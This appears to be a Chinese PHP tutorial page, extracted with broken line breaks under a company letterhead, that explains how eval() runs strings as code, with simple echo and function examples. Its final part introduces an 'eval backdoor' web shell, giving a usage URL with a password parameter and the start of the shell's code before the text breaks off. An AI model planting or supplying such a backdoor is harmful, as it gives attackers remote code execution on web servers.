background image

深圳市一览网络股份有限
公司
ShenZhen Elanw Network 

Co.,Ltd.

地址:南山科技园南区数字技术园
B2 栋 4A 
Add: Room A,4th Floor,Block 
B2,Digi-Tech Park ,

电话(Tel):0755-86133725
传真(Fax):0755-22632616
网址
(Web):www.YL1001.com

 

eval

()函数中的

eval

evaluate 的简称,这

个函数的作用就是把一段字符串当作

PHP 语句来执行,一般情况下不建议使用容易被黑客利用

代码:
代码如下

:

 

eval

("echo'hello world';");

上边代码等同于下边的代码:

echo

"hello world";

在浏览器中都输出:

hello world

运用

eval

()要注意几点:

1.

eval

函数的参数的字符串末尾一定要有分号,在最后还要另加一个分号(这个分号是

php 限制)

2.注意单引号,双引号和反斜杠的运用。如果参数中带有变量时,并且变量有赋值操作的话,变量前的$符
号钱一定要有

\来转义。如果没有赋值操作可以不需要。

代码:
代码如下

:

 

$a

=100;

eval

("echo$a;");

因为没有赋值操作,所以可以不用

\来转义$.等同于以下代码:

代码如下

:

 

$a

=100;

eval

("echo\$a;")

3.注意在命令式字符串(包括分号)两边必须要有双引号或者根据需要用单引号。否则报错。
命令式字符串是指:字符串中包括

echo

print

之类的命令的时候。

如果参数只有一个变量则可以不用。例如:
代码如下

:

 

$func

 =<<<FUNC

function

 test(){  

    echo

 "test eval function";  

}
FUNC;

eval

(

$func

);

test();
分享个

php 

eval

后门程序

要求必须支持

eval

函数

使用方法
http:

//url/test.php?pwd=admin&action=eval&a=phpinfo();

复制代码

 代码如下:

 
<?php

$passwd

="admin";

if

(

$_GET

['pwd']!=

$passwd

)

exit

;